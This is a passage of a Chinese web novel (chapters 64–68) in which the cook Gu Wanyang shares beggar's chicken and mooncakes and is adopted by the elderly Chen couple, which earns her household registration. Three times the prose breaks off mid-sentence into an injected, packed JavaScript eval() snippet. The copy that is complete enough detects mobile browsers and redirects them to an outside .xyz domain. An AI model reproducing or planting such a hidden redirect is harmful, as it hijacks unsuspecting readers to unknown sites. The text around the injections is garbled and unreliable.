这时，荷叶也已经被浩叔打开，顾宛央看着藏在荷叶里面的整只鸡，顿时眼前一亮，表面焦黄锃亮，一看就是火候把握得刚刚好，再一闻，天哪，太香了！混合着荷叶的清香，直沁人心脾。 浩叔将整只叫花鸡挪到大盘子里，鸡的形状还保持得非常完美，让人一看便垂涎欲滴。 小桃看着如此诱人的叫花鸡，口水咽了又咽，她顿时相信了浩叔说的肯定很好吃的话。 “宛央姑娘，你们先把鸡端进去吃着，我再炒几个小菜，很快就来。”浩叔说完，快步走进厨房，麻利地烧起灶火，就着早上准好的食材配料，开始炒起菜来。 顾宛央还没来及得说什么，就看他闪进厨房炒菜了，她也就按着浩叔的吩咐，端起大盘子就往堂屋走去。 64. 第 64 章 本来在堂屋跟巧婆婆唠嗑的李瑾修，一闻到院子外面的香味，便坐不住了。 见顾宛央端着一大盆香喷喷的叫花鸡走了进来，李瑾修赶紧起身让地方，说道：“好久没吃到浩叔做的叫花鸡了，还是那么的香。” “你们快坐下先吃起来，要趁热吃。”巧婆婆笑眯眯地说道。 “这不好吧，浩叔还没过来呢，等他一起来了再吃吧。”顾宛央有些迟疑地说道。 “没什么不好的，我们经常能吃得到，三郎给我们送来很多小鸡仔，你看养了好大一窝呢。”巧婆婆摆摆手说道。 “好，那我们就不客气了。”李瑾修没有过多的客气，直接拉着顾宛央坐了下来说道：“我们先吃吧，不然就辜负巧婆婆和浩叔的一片心意了。” 顾宛央也不是矫情的人，既然主人家都这么说了，那就先吃起来，而且桌上的叫花鸡实在是太香了，她很想趁热尝一下味道如何。 巧婆婆站起来，用筷子熟练地将叫花鸡拆散开，每拆一下香气便浓郁一分，让在场的人忍不住口水直流。 “拆好了，你们快吃吧。”巧婆婆把筷子放下坐了下来说道。 李瑾修给顾宛央夹了一个鸡腿，说道：“顾大厨，请品鉴。” 顾宛央也没客气推让，用手抓着鸡腿最上面的骨头轻轻咬了一口，这一口下去汁水在顾宛央的嘴里爆开来，软糯的鸡皮连着紧实筋道的鸡腿肉，再加上溢出来的汁水，让顾宛央的味蕾瞬间得到了极大的满足。 虽然只有简单的调料加入，但恰恰不会掩盖到鸡肉本身的鲜味，再加上荷叶的清香味，完美地融合在一起，而且包裹在泥巴中，直接放入柴火中烘烤，使得鸡肉柔嫩多汁，焦香味十足，鸡也是家中的散养鸡，确实与后世用养殖场的鸡做出来的叫花鸡比起来，好吃了不知道多少倍。 “天哪，真的很好吃啊。”小桃只咬了一口鸡肉，就忍不住出声。 顾宛央点头认同，只不过她没空说话，只想一口接一口地吃这个真正意义上的叫花鸡。 李瑾修见顾宛央吃得满足，嘴角浮现出一丝笑意，平日里总是吃顾宛央做的美食，今天她也能尝一尝别人做出来的美味，真好。 浩叔没过多久便端了几盘小炒菜出来，李瑾修将带来的梅子酒打开倒上，香甜的梅子酒配上这叫花鸡，简直就是绝配。 吃过了正宗古法炮制的叫花鸡，顾宛央坐在回程的马车里心满意足说道：“浩叔做的叫花鸡真是好吃。” “是啊，是啊。”小桃连连点头认同，她收回那句怀疑叫花鸡好吃的话来。 “这就满足啦。”李瑾修今日的安排得到了顾宛央和小桃的认可，顿时有些尾巴翘起来了，他扬着眉说道：“有机会带你们去京都，那里也有好多好吃的。” “真的吗？”小桃一听到好吃的，拍起手来对顾宛央说道：“宛央姐，我们什么时候去京都。” 顾宛央却没有小桃这么兴奋，她淡淡地说道：“小桃，我们流民的身份可是进不去京都的。” “啊？哦，好吧。”小桃这才反应过来，当初他们全家是打算去京都的，但是到外围便被拦了下来，流民是进不去的。 “按我说，这个规定就应该取消，大家同为南夏子民，所有南夏的疆土都能去的了，为何要有这样的限制。”李瑾修也反应了过来，他有些义愤填膺地说道。 “这倒也不怪朝廷，京都乃一朝之都，而且北真和西丹一直对于南夏虎视眈眈，西丹虽然弱于南夏，但北真的实力朝廷却是不得不防，对于身份不明的流民，宁可防备一些，也不能让那两国的细作轻易混入京都。”顾宛央倒是没那么气愤，很多国家政策有利便是有弊，一切以大局为重。 “说到底，若是南夏将北真和西丹收复，那就不存在这些问题了。”李瑾修自然是懂得这些道理，他心中第一次感受到了国家与人民的联系。 “会统一的，我相信。”顾宛央语气虽淡，但却非常的坚定。 李瑾修默默地点了点头，并没有开口说什么，只是眼神看向窗外的远方，心中不知道在想什么。 从润山县回来，顾宛央几个人的状态比去之前好了不少，果然团建还是有团建的道理。 日子一晃便快到中秋节了，郑奎拿着飞鸽传书的纸条，磨着李瑾修过节必须回去参加宫中大宴。 虽然李瑾修万般不想回去，但一来经不住郑奎的软磨硬泡，二来生怕若是这次不回去，家里估计得派兵来捉他回去，那回去了就出不来了，为了能让母亲同意他继续在外面体验民情，李瑾修终于万般不愿地做了要回去的决定。 “宛央，明天中秋节，今天我就得回家了。”李瑾修跟顾宛央道别。 “嗯，去吧，正好过节我们也休息。”顾宛央一边准备明天要带去陈大爷家里的月饼，一边点头说道。 “我想跟你，不，跟你们一起过。”李瑾修虽然知道不可能，但心里想的总得说出来才是。 “跟我们过？”顾宛央抬头看着李瑾修，笑了起来：“小桃回城西村，我去陈大爷家，我们都各自过呢，你跟我们哪个一起呢？” 李瑾修一下子被噎住了，也不好意思开口说想跟顾宛央一起，这时郑奎牵着马走了过来说道：“少主，该出发了。” “哦。”李瑾修不情愿地应了一声，对着顾宛央又说了一声：“我走了啊，过完节马上就回来。” “嗯，好。”顾宛央头也没抬继续做月饼。 李瑾修只得转身打算出门，磨磨蹭蹭慢慢吞吞地走到门口时，没想到顾宛央开口说道：“等一下。” 李瑾修满怀期待地飞速转身，看着顾宛央。 “这些月饼你带着吃吧。”顾宛央递给李瑾修一个食盒。 “咦，你不是还没做好吗？”李瑾修惊喜地接过食盒。 “这不是在赶着做吗，你有口福，走之前做完了。”顾宛央松了一口气，刚刚最紧要关头，李瑾修老挨 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李瑾修脚下不停，小厮也只能对着门房喊：“快把大门打开。” 这都来不及禀告老爷啊，不过这位爷是老爷贵客，老爷应该不会责怪吧，小厮一边飞快地转动脑子，一边小跑着到李瑾修的前面带路去了。 叶县令自然是没时间责怪小厮突然就把人带进来了，他把小厮屏退，对着李瑾修就行大礼，心中疑惑这位爷这次来是要做什么呢？ “什么？要给随心小食肆的顾宛央发籍？”叶县令在真的知道李瑾修要干嘛后，一身汗都出来了。 “怎么？有什么异议？”李瑾修一开口，无形的威严便笼罩在叶县令的周围。 “没，没，只是那顾宛央是流民身份啊。”叶县令还想争取一下，看这位贵人是不是就说说而已。 “那又怎样？”李瑾修丝毫没有商量的余地。 “是是是，流民也是南夏的子民。”叶县令紧急改词，贵人与顾宛央一起开店，关系自然是好的，这时候若是再拒绝，那就是他不懂事了。 “叶县令这句话倒是说的非常正确，只要是南夏疆域内的子民，皆为南夏人，你必是有法子的，我相信你。”李瑾修微微颔首。 “多谢王爷谬赞和信任，属下定当尽全力办成此事。”叶县令被李瑾修一夸，脸上更是布满了殷勤的笑容，不就是发籍吗，也不是没有过先例，待回头查查用什么方法合适，此事并不是一点办法都没有的。 “好，本王这几日回京都，等再回来之时，希望你已经办成此事了。”李瑾修说完这话，起身抬腿就往外走。 “我送王爷。”叶县令也赶紧跟了上来。 “不必，低调行事。”李瑾修一口拒绝。 叶县令不敢违抗李瑾修的命令，只能停住脚步躬身行礼注视那道颀长玉立的身影渐渐消失在眼前。 65. 第 65 章 中秋佳节，行人匆匆赶回家中，只为与家人吃个团圆饭。 顾宛央拎了两个食盒从随心小食肆中出来，李瑾修和郑奎回家了，小桃也会城西村了，顾宛央没有跟着小桃一起回去，今天她要跟陈大爷和陈大娘一起过节，因为陈大娘提前好些天就跟她说了，今年中秋来家里过。 说起来顾宛央心中有些愧疚，开食肆这么久了，都没好好招待过陈家二老，每天食肆都是爆满，二老也很能理解，所以从不来打扰她，所以趁着中秋节顾宛央打算给两位老人做些月饼做顿饭，陪陪他们，自己心中也是个慰藉，当是陪自己的父母。 顾宛央敲响了陈大娘家的门，她提起其中一只手上食盒笑道：“我带了自己做的月饼，你们要不要先尝尝？” “好，好。”陈大娘一见到顾宛央，脸上的笑容就止不住，她实在喜欢这个姑娘，一开始还是因为顾宛央长得跟自己女儿有几分相似，但相处久了以后已经不是因为这个原因了，而是真正地疼爱上了这个叫顾宛央的姑娘。 陈大爷和陈大娘都相信，这是上天的垂怜，让他们两个一生行善的人，得到应有的福报，晚年不再孤独凄凉，能有一个这么好的姑娘陪伴他们，他们对顾宛央真心相待，顾宛央也是发自内心地与他们亲近，这是求都求不来的缘分。 所以今天趁着过节，陈大娘和陈大爷商量好了，要跟顾宛央说一件大事。 “大娘，你怎么了？”顾宛央的手在陈大娘面前挥了挥，打断了陈大娘的思绪。 “没，没事呢，呀，这月饼做的真漂亮啊。”陈大娘缓过神来，瞧着顾宛央刚刚打开的食盒，欣喜地说道。 “咦？这月饼跟我们平时吃的不太一样啊？”陈大爷的视线也转到食盒中，惊讶地说道。 “对呀，这是冰皮月饼，这几天在食肆中出售，卖的非常好呢。”顾宛央笑着说道，常规月饼没什么好卖的，不如做些大家没见过又好吃的，果然销量非常好，每日必售罄。 “这月饼长得真好看，小巧精致，关键还是各种各样的颜色，这是怎么做到的。”陈大爷好奇地问道。 “常见的月饼是用面粉做的，冰皮月饼主要是用糯米做成的，所以表皮呈白色半透明状，那包在里面的馅是什么颜色，自然就会显现出什么颜色。”顾宛央耐心地解释道。 “原来如此，宛央，你真是巧手巧心啊。”陈大娘眼中流露出赞赏的神色，这姑娘当真是聪明又灵巧。 “不过，冰皮月饼虽然好吃又好看，但保存时间不能跟传统月饼比，一般做出来后三天就得吃完，所以呀，你们这两天尽管吃，别放着不舍得吃。”顾宛央细细地交待，年纪大的人都喜欢藏东西，好东西更是会藏起来不舍得吃。 陈大爷和陈大娘连连点头，说道：“我们现在就尝。” 说完，两人一人拿了一个冰皮月饼吃了起来，软糯的外皮加上香甜的馅料，从来没吃到过这样的口感，陈大爷和陈大娘面露惊讶，真是太好吃了，顾宛央做的也不是很甜，但就是有一种很香甜的感觉，又不像别的月饼那般甜的齁嗓子。 顾宛央看着两位老人吃得很香，心中顿觉安慰，她已经把陈家二老当成自己父母看待了。 等两位老人吃完冰皮月饼，陈大娘小心翼翼地盖上食盒收了起来。 顾宛央忍不住又提醒道：“你们别忘了这两天要吃完哦，不能久放，吃完了再来找我，我这段时间都会做这个冰皮月饼的。” 陈大娘连连点头，但顾宛央知道她肯定不会来找自己拿的，生怕打扰她做生意，这跟自己的父母简直一模一样，从来都是报喜不报忧，生个病什么的从来都不告诉她，生怕影响她工作。 “大娘，我得做饭去了，对了，这个食盒是带给鲁夫人的，等吃完饭我给她送去。”顾宛央指着另一个食盒说道。 “给鲁夫人啊？那正好，不用送去，她下午会来咱家。”陈大娘随口说了一句。 “好，那正好让她带回去。”顾宛央也没多想，过节互相串个门也很正常。 顾宛央走进厨房，她在这个厨房也做了好几次的饭了，对里面的东西熟门熟路，陈大娘再三关照不要带菜过来，她会准备好食材，顾宛央正好也省了心，有什么食材就做什么。 陈大娘也跟着进了厨房，指着桌上的食材说道：“这只鸭子是早上在集市买的现杀的，新鲜的很，按你喜欢的味道做就行，我跟你大爷都喜欢吃。” 顾宛央点头，中秋节要吃鸭子，这是传统。 “还买了些芋艿，莲藕，排骨，还有些河虾，这里还有鸡蛋，院子里的小菜园蔬菜随便摘。”陈大娘心疼地说道，“也别做太多菜，我们三个人做四菜一汤就行了，做多了又吃不了，你又很辛苦。” “嗯，好呢，我就着这些食材做，你们在外面等我就好。”顾宛央还是将陈大娘撵了出去，自己一个人做起来自在些。 “记着简单做一做就行啊，别搞得太复杂了，今天好容易能休息。”陈大娘一边往外走，一边还是不放心地叮嘱道。 “放心吧，大娘，我不会为难自己的。”顾宛央笑着应道，在食肆做菜那是工作是挣钱，但在家里做饭给亲朋好友吃，那才是真正的享受，她一点都不觉得辛苦。 看着新鲜的食材，顾宛央打算做个酱鸭、葱油芋艿、清炒河虾、再炒个绿叶菜，汤就做个排骨莲藕汤，这样一来四菜一汤就齐全了，而且都是时令的菜，也都是中秋节必吃的菜品。 酱鸭和汤要花些时间，其他三个菜炒起来都很快，所以顾宛央先将鸭子处理干净，煮上一大锅水放入葱姜料酒给鸭子焯水，焯完水后，将起锅放少许油烧热后，把葱姜和八角桂皮炒香，再加入料酒、酱油、盐和糖调 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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顾宛央将排骨汤端出来，准备开始炒菜。 河虾已经洗干净晾干，起油锅后，只需将葱姜下入锅中爆香，便可将河虾倒入锅中翻炒，新鲜的食材只需简单的烹饪，顾宛央算是体会到这句话的道理！ 河虾在大火的烹饪下浑身变了颜色，红红的虾身散发出清新的鲜香味，顾宛央快速加入些许盐继续翻炒，翻炒十几下后便可出锅了。 清炒出来的河虾鲜味十足，原汁原味更能尝出食材本身的味道。 葱油芋艿也非常简单，起锅烧油后葱段扔进去爆香，接着便可以把切好的芋艿加入锅中翻炒，因为芋艿是煮熟的，所以只需加入些许清水略煮一下，然后加入些许盐调味，翻炒均匀后在撒上一把葱末便可以出锅了。 起锅的葱油芋艿白绿相间，葱香味十足，加上芋艿的清香，顾宛央不由咽了口口水。 最后一道小青菜更是简单，油热下锅爆炒，翻炒断生便可盛出，这可是纯天然种植出来的小青菜，口感脆嫩清甜，顾宛央非常喜欢吃。 顾宛央把菜全部炒完，接着开始剁酱鸭，酱鸭已经凉了下来，顾宛央熟练地挥起菜刀，快速又准确地下刀，没多久便将一整只酱鸭剁成了一小块一小块，再将剁好的酱油摆盘，今天这四菜一汤就完工了。 66. 第 66 章 陈大娘听到顾宛央的喊声，赶紧进厨房来帮忙端菜盛饭，一进到厨房，陈大娘顿时深深吸了一口气，刚刚在外面就闻到飘出来的香味了，这一进来香味更是浓郁，各种香味扑面而来。 “宛央，你这厨艺开个小食肆真是浪费了，要我说啊，你去京都开个大酒楼，那才配得上你呢。”陈大娘由衷的说道。 “大娘，我先开食肆攒点钱，再想办法去京都或是其他大一点的州郡。”顾宛央笑着随口说道，京都没有身份不能进，那附近总有其他大的州郡吧，只要人够多够繁荣，那也是能比在这个小县城挣得多的。 陈大娘欲言又止，顾宛央在忙着把锅碗瓢盆收拾一下，也没注意到，陈大娘张了张嘴还是没开口，算了，等吃完饭鲁夫人下午来了再说比较郑重。 “大娘，我们一起把菜端出去吧，早上我都没怎么吃，好饿呀。”顾宛央很轻松地说道，她虽然与陈家二老认识才过半年，但总感觉很亲切，说话也是跟自己家人一样，很自然。 “那赶紧的，吃饭吃饭，不能饿着。”陈大娘把刚刚想说的话抛到脑后，端起桌上做好的菜就往外走。 三人围坐在堂屋的八仙桌旁边，顾宛央给陈家二老和自己倒了带来的葡萄酿，准备开吃。 顾宛央先给陈大爷和陈大娘盛了两碗汤，两老都喜欢饭前喝一碗汤润润。 莲藕是一大早刚从水塘里拔出来的，经过熬煮已经软糯酥烂，对于老人家的牙口来说非常友好，咬着一点都不费力，新鲜的排骨炖的时间够长，汤汁鲜美十足。 “这莲藕排骨汤真好喝。”陈大娘一边喝着汤，一边赞不绝口，她用同样的食材做出来的怎么就没这么好喝呢。 “大爷大娘，你再尝尝这酱鸭看。”顾宛央给两人夹了酱鸭，她没尝过味道，不知道他们能不能咬动。 顾宛央也夹了一块酱鸭，一咬牙下去就放心了，酱鸭外皮紧实，鸭肉不老不柴，细嫩多汁，经过长时间的炖煮后，充分吸收了酱汁，使得鸭肉的酱香味非常浓郁，咸度也刚刚好。 “香！有嚼劲又不失嫩滑，宛央你每次调的味都是刚刚好，真不错。”陈大娘夸赞道，脸上满是满足的表情。 顾宛央笑了一下，也没谦虚，她也觉得这酱鸭真的很好吃。 陈大娘把桌上的菜都尝了一遍，道道菜都非常满意，胃口也变得好起来，再看看陈大爷，他已经顾不上说话了，正在埋头吃饭，陈大娘摇头，平时也看不出他的饭量有这么好啊。 三人吃完午饭，搬了椅子坐在了小院子里休息，中秋节的气温刚刚好，不冷不热，秋风轻拂过脸颊，发丝随风而动。 顾宛央安心地半躺在贵妃椅上，陈大娘闲不住，拿着针线不知道在绣什么，陈大爷也坐不下来，拿了一把刻刀在雕着小木头，这是他的一大爱好。 顾宛央看着两位老人安静地做着自己喜欢的事情，心中极为轻松。 半躺着的姿势非常舒服，加上心情又非常放松，连日来的劳累一下子袭来，在陈大爷发出的轻微雕刻声中，顾宛央迷迷糊糊地睡了过去，直到被一阵敲门声吵醒，顾宛央醒过来看见自己身上的小被子，应该是陈大娘给她盖着怕着凉了。 “应该是鲁夫人来了。”陈大娘赶紧放下手中的针线，起身开门。 顾宛央一听，也忙站起来整理头发和衣裳。 大门嘎吱一声打开来，果然是鲁夫人来了，顾宛央赶紧上前行礼：“鲁夫人中秋安康。” “顾姑娘中秋安康。”鲁夫人笑眯眯地回礼，眼神中满是慈爱。 “鲁夫人屋里坐。”陈大娘想引着鲁夫人进屋。 “陈大娘，今日天气舒适，我们就在院子里坐着聊，可好？”鲁夫人笑着说道。 “好，好。”陈大娘自然是同意的。 鲁夫人将带来的两包点心递给陈大娘，陈大娘连连表示感谢。 顾宛央很有眼色地马上抬出一把椅子来，请鲁夫人坐下，陈大爷也泡了一杯茶端过来。 顾宛央将装有冰皮月饼的食盒拿了出来，对鲁夫人说道：“鲁夫人，这是我做的新品月饼，你带回家跟家里人一起尝尝。” 鲁夫人惊喜地接过食盒，打开一看，不由说道：“好精致的月饼啊，真漂亮。” “不仅好看，而且好吃呢，鲁夫人快尝一个。”陈大娘热情地说道。 鲁夫人其实是刚吃过午饭才过来的，但见到真漂亮的月饼，忍不住还是伸手拿了起来，细细地品尝起来。 陈大娘看着鲁夫人一边吃，一边惊讶地看了好几回手中月饼，等她把一块月饼全部吃完，这才笑着说道：“好吃吧？” “是呢，跟我们平时吃的月饼完全不一样，外皮是软糯的，里面的馅是各种口味，都很香甜呢。”鲁夫人满足地点点头，从未吃过这么好吃的月饼。 顾宛央依旧是关照鲁夫人要两天内吃完这些冰皮月饼，不能放的时间太久，鲁夫人笑着说怕是一日都放不住，家里有两个小孩子，他们两个肯定喜欢吃的。 等鲁夫人吃完月饼，也喝过了茶，陈大娘这才斟酌着开了口：“宛央，今日请鲁夫人过来，其实是有一件事情要跟你商量的。” 顾宛央一听，转过身来看着陈大娘，有些诧异地问道：“大娘，是何事？还需请鲁夫人专程跑一趟？” 陈大娘不知怎的，本来想的好好的，但一到要开口了却又怯了，心中无数个担心，万一宛央不愿意怎么办，会不会连门都不想上了......要不要还是维持现在的关系呢。 见陈大娘半天都说不出一句话，鲁夫人又看向陈大爷，陈大爷更是紧张，两只手互相搓着，根本没想着要开口。 鲁夫人心里能明白两老的心情，她想了想对着陈大娘开口道：“陈大娘，我替你说，如何？” “好，好。”陈大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15063665|158165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘连连点头，这是帮她大忙了。 得到陈大娘的首肯，鲁夫人清了清嗓子，笑着对顾宛央说道：“宛央，陈大爷和陈大娘有个想法，想跟你商量，你若是愿意呢，那皆大欢喜，若是不愿意呢，就当这件事情没提起过，行吗？” 顾宛央更好奇了，这是怎么一个事，一个个都这么紧张，于是也笑道：“鲁夫人尽管说，我听听是什么事？” “是这样的，陈大爷和陈大娘想与你认亲，你看你父母已经不在了，陈家二老呢也没有孩子，你跟二老虽说相识时间不久，但却非常投缘，所以宛央，你愿不愿做二老的义女？”鲁夫人言简意赅地把事情说了出来。 顾宛央仔细听着鲁夫人的话，在听到最后一句的时候，她看向了陈大爷和陈大娘，只见两人都紧张地盯着她，眼中满是期许。 顾宛央在脑子里把这个信息过了一遍，是陈大娘和陈大爷想认自己为义女，看他们紧张的样子，是怕自己拒绝吧。 “陈大爷和陈大娘特意请了我来，就是觉得此事郑重，不能随意开口，请我来做个见证，陈家二老与我相识了十几年，他们为人善良正直，虽说我与顾姑娘也相识不久，但我与顾姑娘也是投缘的，想来我们是一类人，所以我愿意做这个见证人。”鲁夫人一番肺腑之言，把在场的几人都说的深有触动。 “宛央，不急着回答，你好好考虑考虑，这是个大事。”陈大娘终于开口了，她生怕顾宛央马上开口拒绝，陈大娘想了想还是又开了口：“宛央，上午我不是说你这厨艺去京都开大酒楼才配吗，若是认了我们两个老头老太，你就不是流民身份了，你就可以去京都了。” 顾宛央思绪已经理清楚了，她听了鲁夫人和陈大娘的话，心里是感动的，她孤身一人穿到这个世界，先是有城西村桂花婶和张婶一家对自己的照拂，接着又机缘巧合碰上了李瑾修，虽然他老是跟自己吵吵闹闹，但能感觉到他是将她当做朋友的，还有鲁工师鲁夫人和徐工师对自己的认可，现在又有陈大爷和陈大娘对自己的掏心掏肺，她觉得老天其实待她也不薄。 “陈大爷，陈大娘，鲁夫人，宛央愿意认二老为义父义母，只是我要纠正一下，我并不是为了拿到身份而这么做的，对我来说，是很想去京都，但若是去不了我也不会强求，我都想过开酒楼就去京都附近那些繁华的州郡就行，在我心里，真心敬重二老，跟二老有莫名的亲近感，我想应该就是冥冥中的缘分吧，所以愿意认这门亲。”顾宛央珍重地说道。 陈大爷和陈大娘听到顾宛央这番话，顿时眼眶都红了，嗫嚅着说不出话来。 “这可真是太好了！”鲁夫人拍着手说道，能促成这件事情也算是功德一件了。 “好，好。”陈大爷和陈大娘只能说得出这两个字。 顾宛央站起身，走到陈大爷和陈大娘面前，轻轻跪了下来郑重地说道：“爹、娘，女儿给你们磕头了。” 67. 第 67 章 陈大爷和陈大娘一把将顾宛央拉了起来，嘴里还是只说着：“好，好。” “好了，今日认亲成了，从今往后，宛央便是陈大爷和陈大娘的女儿了。”鲁夫人尽着见证人的职责。 陈大娘的情绪平复下来，担忧地对鲁夫人说道：“还得麻烦您，得去衙门办籍，还得叶县令批准才行，不知道能不能通过，我们都不知道怎么办，能不能请鲁工师帮忙问问？” “放心，我已经跟我们家老爷说过这事情了，只要你们都愿意我马上就回去跟他讲，认亲获籍是有先例的，不必担心此事。”鲁夫人安慰道。 “那就拜托你了。”陈大娘感激地说道。 顾宛央倒是不太在意，对她来说能有身份是最好，若是办不成，也不影响她真心想认亲这件事。 原本以为这将会是个漫长的过程，毕竟衙门办事向来如此，而且此事又不是寻常小事，顾宛央第二天都抛到脑后去了，但没想到的是陈大爷和陈大娘来小食肆找她了。 中秋恰逢十五、十六，所以小食肆还在店休，李瑾修和小桃也都还没回来，顾宛央一个人在食肆这里收收，那边忙忙，听见有人敲门，开门一看是陈家二老。 “咦，爹，娘，你们怎么来了？”顾宛央有些惊讶地问道，他们一般不会来小食肆找她，知道她很忙，不来打扰，总是在家默默等她有时间过去。 “宛央，快跟我们走。”陈大娘上前拉住顾宛央，语气焦急中带着兴奋。 “去哪？”顾宛央被陈大娘拉着往前走，不由地问道。 “去给你办籍。”陈大娘说道。 “诶，等等，娘，我关下门。”顾宛央听了陈大娘的话也很意外，但还是没忘记食肆没人得关门这件事。 “爹，娘，咱们衙门办事都这么快的吗？”顾宛央跟着陈大爷和陈大娘往衙门方向走，忍不住开口问道。 “那倒也没有，平时要有个什么事情的，那还不得等上一年半载的，这次这么快，估计是鲁工师跟叶县令打过招呼了。”陈大娘说道。 “那也不会这么快吧，昨天我们才认的亲，今天衙门主动派人来通知我们现在去办籍，就算是鲁工师打了招呼，也得按流程办呢。”陈大爷也是一脸疑惑。 “衙门还主动派人来让我们去办籍？”顾宛央也惊呆了，从来都是听说衙门是朝南坐的，没听说过还会主动来通知的。 “是啊，我们也吓一跳呢，所以赶紧来找你了。”陈大娘说道。 “不过也好，早些办完早些省心，一件大事就算落地了。”陈大爷说道。 顾宛央点点头，衙门办事效率那么高，那是好事情，办完后就是有籍的人了，要做什么事情也可以尽早打算。 衙门里办籍的小吏接待了他们，全程没有一点为难，态度也是非常的好。 顾宛央忍不住问道：“请问大人，办籍这种事情流程都这么快的吗？” “嗐，怎么可能，你们这是叶县令特批今日必须办成的，若非如此，那就且等着吧。”小吏也是直截了当地说道。 陈家二老和顾宛央对视了一眼，鲁工师的话这么顶用吗！能让叶县令特批！ 三人办完籍出来，正巧碰上鲁工师，他们赶紧行礼问好。 “鲁工师您这是要出去吗？”陈大爷行完礼问道。 “是啊，城北有个工事，我得去看看，你们这是来衙门办事情？”鲁工师问道。 顾宛央跟陈家二老对视了一眼，有些疑惑，顾宛央开口说道：“多亏了鲁工师跟叶县令打招呼，刚刚在衙门办完籍出来。” “哦？这么快？”鲁工师也惊呆了，他只是今天早上跟叶县令说了有这么个事，请他帮忙关照一下，然后就去忙了，怎么这会就办完了？ “额？不是鲁工师请叶县令帮忙特批今日要办成的吗？”顾宛央见鲁工师一脸迷茫，也不由迷惑了。 “这从何说起，我只是工师而已，怎么可能让叶县令特批，我只不过跟叶县令提了此事请他关照而已。”鲁工师摸不着头脑地说道。 这下，四人都面面相觑，不知道叶县令这是唱的哪一出。 “是什么原因已经不重要了，重要的是你们已经办成了此事，还没恭喜陈家二老呢，得了一个这么乖巧伶俐的好女儿。”鲁工师抱拳祝贺道。 “多谢鲁工师，也多谢鲁夫人。”陈大爷和陈大娘连忙还礼。 鲁工师还忙着去工事，也来不及再多说什么，跟三人道了别。 顾宛央将陈家二老送回家，也就自己回到了小食肆。 叶县令没想到贵人交待的事情，这么轻而易举地就办完了，今天早上听到鲁工师说起这件事情，他简直不敢相信自己的耳朵。 看样子昨天求神拜佛还是有用的，他今日正想喊办籍的小吏给他查有哪些孤寡老人呢，鲁工师就给他带来了这个好消息。 确实让顾宛央认亲是个很好的入籍法子，只是先不说要从全城找到无儿无女的老人得费好些功夫，就算是找到了也得挨家挨户去询问愿不愿认亲，这花费的时间更久，贵人要求这几日就得办好，这不是为难人嘛。 所以，鲁工师一走，叶县令立马喊来了小吏去通知陈家二老过来办籍，而且特批要今日就办完成，刚刚小吏已经来报告了，陈家和顾宛央的结亲已经办完，顾宛央的籍已经办好了。 叶县令心情非常地好，再也不担心李瑾修突然冲过来问他事情办好没，中午他忍不住喝了几杯酒。 下午时分，正当他晕晕乎乎到府衙刚坐下，外头就有人传禀一个叫李瑾修的人来见他，吓得他马上清醒了过来，整好衣冠就急匆匆地出来接人。 只不过叶县令虽然有些被吓醒的狼狈，但由于事情办完了，他显得十分胸有成竹，对于李瑾修恭敬是恭敬，但没有一丝害怕。 “本王交代你的事情办好没？”李瑾修背着手问道，他也没指望这两天就能办好，只不过来施加一下压力而已，省 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“小桃你傻呀，你宛央姐现在已经有籍了，她可以雇佣你作为食肆的帮厨或者雇佣你作为丫鬟都行，只要去县衙办一个临时籍，你就有身份了，凭着这就可以进京都了。”李瑾修在一旁说道。 “真的吗，瑾修哥？”小桃一听，有些不敢相信。 “是真的，小桃，我今日特意问过县衙办籍的小吏，他告诉我可以这样做的。”顾宛央笑着对小桃说道。 本来她还在担心万一自己真的去京都开店，小桃没有身份带不过去怎么办，今天一打听居然是可以办临时雇佣籍，那可就太好了。 “太好了！我也可以去京都了。”小桃欢喜地拉着顾宛央直转圈圈，“宛央姐，我们什么时候先去京都一趟吧。” “这个再说吧，我们先攒钱。”顾宛央被小桃的欢快所感染，笑道。 李瑾修看着两个姑娘抱在一起转圈圈，脸上也不由浮现出笑容，真好，都可以进京都了呢。 68. 第 68 章 获了籍的顾宛央心中有了归属感，她全心全意地待陈家二老如亲生父母，二老也更是倾其所有视顾宛央为己出。 随着时间的推移，随心小食肆名气越来越大，生意一直都很火爆，甚至名气已经传到了京都，因为已经有从京都慕名而来的人了。 从京都到齐中县骑马得两个多时辰，若是坐马车那得四个时辰左右，所以一般都是些有钱有闲的人才能为了美食特意跑一趟，要想当日来回是不太可能的，不过既然能过来，也不在意这一天两天的时间，倒是让开在随心小食肆旁边的客栈笑开了花。 不仅客栈生意连带着好起来，就连市集里各种铺子和摊子的生意也被带起来了，能花钱花时间来这个小县城的人，不得逛逛买买嘛。 京都来的客人原本并未报太大的期望，但吃完过后无一不被征服的，这小地方的食肆居然比京都的酒楼都要好吃，京都客人纷纷建议顾宛央去京都开铺子。 顾宛央也非常认真听取他们的建议，只要有京都来的客人，她都会让他们留下能联系到的地址，告知他们等日后来京都开铺子了，一定第一时间通知他们。 小桃有些不解，顾宛央耐心给她解释，这些都是潜在的客户，若是真的要去京都开铺子，这些就是第一波客人。 小桃恍然大悟，说那不就是跟早餐摊一样，也是小食肆的第一波客人。 顾宛央笑着点头，什么事情都要想在前面，虽说不知道何时去京都开铺子，但先积攒一波客人倒也不错。李瑾修虽然心中对这种做法不以为意，但见顾宛央很认真地在做这件事，嘴上也就没说什么，只是心里想着去了京都还怕没有客人嘛！ 